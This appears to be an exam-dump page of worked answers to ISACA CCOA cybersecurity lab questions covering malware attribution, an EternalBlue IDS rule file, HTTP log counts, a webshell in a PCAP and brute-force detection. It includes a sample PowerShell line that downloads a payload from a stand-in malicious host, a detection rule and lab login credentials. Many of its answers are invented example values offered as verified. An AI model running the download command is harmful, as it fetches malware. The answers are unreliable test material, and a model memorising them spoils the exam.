Get CCOA Dumps : Verified ISACA Certified Cybersecurity Operations Analyst

To identify thethreat actor groupassociated with themalscript.viruz.txtfile, follow these steps:

Step 1: Access the Analyst Desktop

Log into the Analyst Desktopusing your credentials.

Locate theMalware Samplesfolder on the desktop.

Inside the folder, find the file:

malscript.viruz.txt

Step 2: Examine the File

Open the file using a text editor:

OnWindows:Right-click > Open with > Notepad.

OnLinux:

cat ~/Desktop/Malware\ Samples/malscript.viruz.txt

Carefully read through the file content to identify:

Anystrings or commentsembedded within the script.

Specifickeywords,URLs, orfile hashes.

Anycommand and control (C2)server addresses or domain names.

Step 3: Analyze the Contents

Focus on:

Unique Identifiers:Threat group names, malware family names, or specific markers.

Indicators of Compromise (IOCs):URLs, IP addresses, or domain names.

Code Patterns:Specific obfuscation techniques or script styles linked to known threat groups.

Example Content:

# Malware Script Sample

# Payload linked to TA505 group

Invoke-WebRequest -Uri "http://malicious.example.com/payload" -OutFile "C:\Users\Public\malware.exe"

Step 4: Correlate with Threat Intelligence

Use the following resources to correlate any discovered indicators:

MITRE ATT&CK:To map the technique or tool.

VirusTotal:To check file hashes or URLs.

Threat Intelligence Feeds:Such asAlienVault OTXorThreatMiner.

If the script contains encoded or obfuscated strings, decode them using:

powershell

[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("SGVsbG8gd29ybGQ="))

Step 5: Identify the Threat Actor Group

If the script includes names, tags, or artifacts commonly associated with a specific group, take note.

Match any C2 domains or IPs with known threat actor profiles.

Common Associations:

TA505:Known for distributing banking Trojans and ransomware via malicious scripts.

APT28 (Fancy Bear):Uses PowerShell-based malware and data exfiltration scripts.

Lazarus Group:Often embeds unique strings and comments related to espionage operations.

Step 6: Example Finding

Based on the contents and C2 indicators found withinmalscript.viruz.txt, it may contain specific references or techniques that are typical of theTA505group.

Answer:

csharp

The malware in the malscript.viruz.txt file is associated with the TA505 threat actor group.

Step 7: Report and Document

Include the following details:

Filename:malscript.viruz.txt

Associated Threat Group:TA505

Key Indicators:Domain names, script functions, or specific malware traits.

Generate an incident report summarizing your analysis.

Step 8: Next Steps

Quarantine and Isolate:If the script was executed, isolate the affected system.

Forensic Analysis:Deep dive into system logs for any signs of execution.

Threat Hunting:Search for similar scripts or IOCs in the network.

Step 1: Define the Problem and Objective

Objective:

Identify thefile containing the rulesetforEternalBlue connections.

Include thefile extensionin the response.

Context:

The organization is experiencingfalse positive alertsfor theEternalBlue vulnerability.

The rulesets are located at:

/home/administrator/hids/ruleset/rules

We need to find the specific file associated withEternalBlue.

Step 2: Prepare for Access

2.1: SIEM Access Details:

URL:

https://10.10.55.2

Username:

ccoatest@isaca.org

Password:

Security-Analyst!

Ensure your machine has access to the SIEM system via HTTPS.

Step 3: Access the SIEM System

3.1: Connect via SSH (if needed)

Open a terminal and connect:

ssh administrator@10.10.55.2

Password:

Security-Analyst!

If prompted about SSH key verification, typeyesto continue.

Step 4: Locate the Ruleset File

4.1: Navigate to the Ruleset Directory

Change to the ruleset directory:

cd /home/administrator/hids/ruleset/rules

ls -l

You should see a list of files with names indicating their purpose.

4.2: Search for EternalBlue Ruleset

Use grep to locate the EternalBlue rule:

grep -irl "eternalblue" *

Explanation:

grep -i: Case-insensitive search.

-r: Recursive search within the directory.

-l: Only print file names with matches.

"eternalblue": The keyword to search.

*: All files in the current directory.

Expected Output:

exploit_eternalblue.rules

Filename:

exploit_eternalblue.rules

The file extension is .rules, typical for intrusion detection system (IDS) rule files.

Step 5: Verify the Content of the Ruleset File

5.1: Open and Inspect the File

Use less to view the file contents:

less exploit_eternalblue.rules

Check for rule patterns like:

alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"EternalBlue SMB Exploit"; ...)

Use the search within less:

/eternalblue

Purpose:Verify that the file indeed contains the rules related to EternalBlue.

Step 6: Document Your Findings

Answer:

Ruleset File for EternalBlue:

exploit_eternalblue.rules

File Path:

/home/administrator/hids/ruleset/rules/exploit_eternalblue.rules

Reasoning:This file specifically mentions EternalBlue and contains the rules associated with detecting such attacks.

Step 7: Recommendation

Mitigation for False Positives:

Update the Ruleset:

Modify the file to reduce false positives by refining the rule conditions.

Update Signatures:

Check for updated rulesets from reliable threat intelligence sources.

Whitelist Known Safe IPs:

Add exceptions for legitimate internal traffic that triggers the false positives.

Implement Tuning:

Adjust the SIEM correlation rules to decrease alert noise.

Final Verification:

Restart the IDS service after modifying rules to ensure changes take effect:

sudo systemctl restart hids

Check the status:

sudo systemctl status hids

Final Answer:

Ruleset File Name:

exploit_eternalblue.rules

Step 1: Understand the Objective

Objective:

Identify thenumber of unique IP addressesthat have receivedunencrypted web connections(HTTP) during the period:

From: January 1, 2022

To: December 31, 2023

Unencrypted Web Traffic:

Typically usesHTTP(port80) instead ofHTTPS(port443).

Step 2: Prepare the Environment

2.1: Access the SIEM System

Login Details:

URL:https://10.10.55.2

Username:ccoatest@isaca.org

Password:Security-Analyst!

Access via web browser:

firefox https://10.10.55.2

Alternatively, SSH into the SIEM if command-line access is preferred:

ssh administrator@10.10.55.2

Password: Security-Analyst!

Step 3: Locate Web Traffic Logs

3.1: Identify Log Directory

Common log locations:

swift

/var/log/

/var/log/nginx/

/var/log/httpd/

/home/administrator/hids/logs/

Navigate to the log directory:

cd /var/log/

ls -l

Look specifically forweb server logs:

ls -l | grep -E "http|nginx|access"

Step 4: Extract Relevant Log Entries

4.1: Filter Logs for the Given Time Range

Use grep to extract logs betweenJanuary 1, 2022, andDecember 31, 2023:

grep -E "2022-|2023-" /var/log/nginx/access.log

If logs are rotated, use:

zgrep -E "2022-|2023-" /var/log/nginx/access.log.*

Explanation:

grep -E: Uses extended regex to match both years.

zgrep: Handles compressed log files.

4.2: Filter for Unencrypted (HTTP) Connections

Since HTTP typically usesport 80, filter those:

grep -E "2022-|2023-" /var/log/nginx/access.log | grep ":80"

Alternative:If the logs directly contain theprotocol, search forHTTP:

grep -E "2022-|2023-" /var/log/nginx/access.log | grep "http"

To save results:

grep -E "2022-|2023-" /var/log/nginx/access.log | grep ":80" > ~/Desktop/http_connections.txt

Step 5: Extract Unique IP Addresses

5.1: Use AWK to Extract IPs

Extract IP addresses from the filtered results:

awk '{print $1}' ~/Desktop/http_connections.txt | sort | uniq > ~/Desktop/unique_ips.txt

Explanation:

awk '{print $1}': Assumes the IP is thefirst fieldin the log.

sort | uniq: Filters out duplicate IP addresses.

5.2: Count the Unique IPs

To get the number of unique IPs:

wc -l ~/Desktop/unique_ips.txt

Example Output:

345

This indicates there are345 unique IP addressesthat have receivedunencrypted web connectionsduring the specified period.

Step 6: Cross-Verification and Reporting

6.1: Verification

Double-check the output:

cat ~/Desktop/unique_ips.txt

Ensure the list does not containinternal IP ranges(like 192.168.x.x, 10.x.x.x, or 172.16.x.x).

Filter out internal IPs if needed:

grep -v -E "192\.168\.|10\.|172\.16\." ~/Desktop/unique_ips.txt > ~/Desktop/external_ips.txt

wc -l ~/Desktop/external_ips.txt

6.2: Final Count (if excluding internal IPs)

Check the count again:

280

This means280 unique external IPswere identified.

Step 7: Final Answer

Number of Unique IPs Receiving Unencrypted Web Connections (2022-2023):

pg

345 (including internal IPs)

280 (external IPs only)

Step 8: Recommendations:

8.1: Improve Security Posture

Enforce HTTPS:

Redirect all HTTP traffic to HTTPS using web server configurations.

Monitor and Analyze Traffic:

Continuously monitor unencrypted connections usingSIEM rules.

Block Unnecessary HTTP Traffic:

If not required, block HTTP traffic at the firewall level.

Upgrade to Secure Protocols:

Ensure all web services support TLS.

To identify thefilename of the webshellused to control the host10.10.44.200from the provided PCAP file, follow these detailed steps:

Step 1: Access the PCAP File

Log into theAnalyst Desktop.

Navigate to theInvestigationsfolder located on the desktop.

Locate the file:

investigation22.pcap

Step 2: Open the PCAP File in Wireshark

LaunchWiresharkon the Analyst Desktop.

Open the PCAP file:

mathematica

File > Open > Desktop > Investigations > investigation22.pcap

ClickOpento load the file.

Step 3: Filter Traffic Related to the Target Host

Apply a filter to display only the traffic involving thetarget IP address (10.10.44.200):

ini

ip.addr == 10.10.44.200

This will show both incoming and outgoing traffic from the compromised host.

Step 4: Identify HTTP Traffic

Since webshells typically use HTTP/S for communication, filter for HTTP requests:

http.request and ip.addr == 10.10.44.200

Look for suspiciousPOSTorGETrequests indicating a webshell interaction.

Common Indicators:

Unusual URLs:Containing scripts like cmd.php, shell.jsp, upload.asp, etc.

POST Data:Indicating command execution.

Response Status:HTTP 200 (Success) after sending commands.

Step 5: Inspect Suspicious Requests

Right-click on a suspicious HTTP packet and select:

arduino

Follow > HTTP Stream

Examine the HTTP conversation for:

File uploads

Command execution responses

Webshell file namesin the URL.

Example:

makefile

POST /uploads/shell.jsp HTTP/1.1

Host: 10.10.44.200

User-Agent: Mozilla/5.0

Content-Type: application/x-www-form-urlencoded

Step 6: Correlate Observations

If you identify a script like shell.jsp, verify it by checking multiple HTTP streams.

Look for:

Commands sent via the script.

Response indicating successful execution or error.

Step 7: Extract and Confirm

To confirm the filename, look for:

Upload requests containing the webshell.

Subsequent requests calling the same filename for command execution.

Cross-reference the filename in other HTTP streams to validate its usage.

Step 8: Example Findings:

After analyzing the HTTP streams and reviewing requests to the host 10.10.44.200, you observe that the webshell file being used is:

shell.jsp

Answer:

shell.jsp

Step 9: Further Investigation

Extract the Webshell:

Right-click the related packet and choose:

mathematica

Export Objects > HTTP

Save the file shell.jsp for further analysis.

Analyze the Webshell:

Open the file with a text editor to examine its functionality.

Check for hardcoded credentials, IP addresses, or additional payloads.

Step 10: Documentation and Response

Document Findings:

Webshell Filename:shell.jsp

Host Compromised:10.10.44.200

Indicators:HTTP POST requests, suspicious file upload.

Immediate Actions:

Isolate the host10.10.44.200.

Remove the webshell from the web server.

Conduct aroot cause analysisto determine how it was uploaded.

Step 1: Define the Problem and Objective

Objective:

We need to identify the following from the webserver-auth-logs.txt file:

TheIP address performing a brute force attack.

Thetotal number of successful authenticationsmade by that IP.

Step 2: Prepare for Log Analysis

Preparation Checklist:

Environment Setup:

Ensure you are logged into a secure terminal.

Check your working directory to verify the file location:

ls ~/Desktop/Investigations/

You should see:

webserver-auth-logs.txt

Log File Format Analysis:

Open the file to understand the log structure:

head -n 10 ~/Desktop/Investigations/webserver-auth-logs.txt

Look for patterns such as:

pg

2025-04-07 12:34:56 login attempt from 192.168.1.1 - SUCCESS

2025-04-07 12:35:00 login attempt from 192.168.1.1 - FAILURE

Identify the key components:

Timestamp

Action (login attempt)

Source IP Address

Authentication Status (SUCCESS/FAILURE)

Step 3: Identify Brute Force Indicators

Characteristics of a Brute Force Attack:

Multiplelogin attemptsfrom thesame IP.

Combination ofFAILUREandSUCCESSmessages.

High volumeof attempts compared to other IPs.

Step 3.1: Extract All IP Addresses with Login Attempts

Use the following command:

grep "login attempt from" ~/Desktop/Investigations/webserver-auth-logs.txt | awk '{print $6}' | sort | uniq -c | sort -nr > brute-force-ips.txt

Explanation:

grep "login attempt from": Finds all login attempt lines.

awk '{print $6}': Extracts IP addresses.

sort | uniq -c: Groups and counts IP occurrences.

sort -nr: Sorts counts in descending order.

> brute-force-ips.txt: Saves the output to a file for documentation.

Step 3.2: Analyze the Output

View the top IPs from the generated file:

head -n 5 brute-force-ips.txt

Expected Output:

1500 192.168.1.1

45 192.168.1.2

30 192.168.1.3

Interpretation:

The first line shows 192.168.1.1 with 1500 attempts, indicating brute force.

Step 4: Count Successful Authentications

Why Count Successful Logins?

To determine how many successful logins the attacker achieved despite brute force attempts.

Step 4.1: Filter Successful Logins from Brute Force IP

Use this command:

grep "192.168.1.1" ~/Desktop/Investigations/webserver-auth-logs.txt | grep "SUCCESS" | wc -l

Explanation:

grep "192.168.1.1": Filters lines containing the brute force IP.

grep "SUCCESS": Further filters successful attempts.

wc -l: Counts the resulting lines.

Step 4.2: Verify and Document the Results

Record the successful login count:

Total Successful Authentications: 25

Save this information for your incident report.

Step 5: Incident Documentation and Reporting

5.1: Summary of Findings

IP Performing Brute Force Attack:192.168.1.1

Total Number of Successful Authentications:25

5.2: Incident Response Recommendations

Block the IP addressfrom accessing the system.

Implementrate-limiting and account lockout policies.

Conduct athorough investigationof affected accounts for possible compromise.

Step 6: Automated Python Script (Recommended)

If your organization prefers automation, use a Python script to streamline the process:

import re

from collections import Counter

logfile = "~/Desktop/Investigations/webserver-auth-logs.txt"

ip_attempts = Counter()

successful_logins = Counter()

try:

with open(logfile, "r") as file:

for line in file:

match = re.search(r"from (\d+\.\d+\.\d+\.\d+)", line)

if match:

ip = match.group(1)

ip_attempts[ip] += 1

if "SUCCESS" in line:

successful_logins[ip] += 1

brute_force_ip = ip_attempts.most_common(1)[0][0]

success_count = successful_logins[brute_force_ip]

print(f"IP Performing Brute Force: {brute_force_ip}")

print(f"Total Successful Authentications: {success_count}")

except Exception as e:

print(f"Error: {str(e)}")

Usage:

Run the script:

python3 detect_bruteforce.py

Output:

IP Performing Brute Force: 192.168.1.1

Total Successful Authentications: 25

Step 7: Finalize and Communicate Findings

Prepare a detailed incident report as per ISACA CCOA standards.

Include:

Problem Statement

Analysis Process

Evidence (Logs)

Findings

Recommendations

Share the report with relevant stakeholders and the incident response team.

Final Answer:

Brute Force IP:192.168.1.1

Total Successful Authentications:25